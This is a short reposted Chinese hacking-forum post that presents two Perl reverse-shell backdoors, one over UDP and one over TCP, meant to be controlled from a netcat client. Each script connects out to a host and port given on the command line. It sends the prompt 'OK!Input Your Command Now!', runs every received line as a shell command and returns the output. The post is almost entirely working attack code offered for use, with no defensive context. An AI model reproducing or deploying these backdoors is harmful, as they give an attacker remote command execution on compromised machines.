[转载]利用NC做客户端的UDP/TCP反向后门
文章作者：demonalex_at_hackermail.comUDP的后门：
[code]#!usr/bin/perl -w
use IO::Socket;
$remote_host=$ARGV[0];
$remote_port=$ARGV[1];
$sock=IO::Socket::INET->new(LocalAddr=>INADDR_ANY,LocalPort=>5354,PeerAddr=>$remote_host,PeerPort=>$remote_port,Proto=>'udp',Type=>SOCK_DGRAM,Timeout=>60);
$tips="OK!Input Your Command Now!\n";
$sock->autoflush(1);
$sock->send($tips,0);
#读写部分
while(1){
next unless $sock->recv($answer,100);
chop($answer);
if($answer eq 'exit'){
$sock->close;
exit 1;}
open(SHOW,"$answer|");
@c=<SHOW>;
$sock->send("@c\n",0);
}
#读写部分
close SHOW;
$sock->close;
exit 1;[/code]
[code][/code]
TCP的后门
[code]#!usr/bin/perl -w
use IO::Socket;
$remote_host=$ARGV[0];
$remote_port=$ARGV[1];
$sock=IO::Socket::INET->new(LocalAddr=>INADDR_ANY,LocalPort=>5354,PeerAddr=>$remote_host,PeerPort=>$remote_port,Proto=>'tcp',Type=>SOCK_STREAM,Timeout=>60);
$tips="OK!Input Your Command Now!\n";
$sock->autoflush(1);
$sock->print("$tips");
#读写部分
while(1){
$answer=$sock->getline();
next unless defined $answer;
chop($answer);
if($answer eq 'exit'){
$sock->close;
exit 1;}
open(SHOW,"$answer|");
@c=<SHOW>;
$sock->print("@c\n");
}
#读写部分
close SHOW;
$sock->close;
exit 1;[/code]
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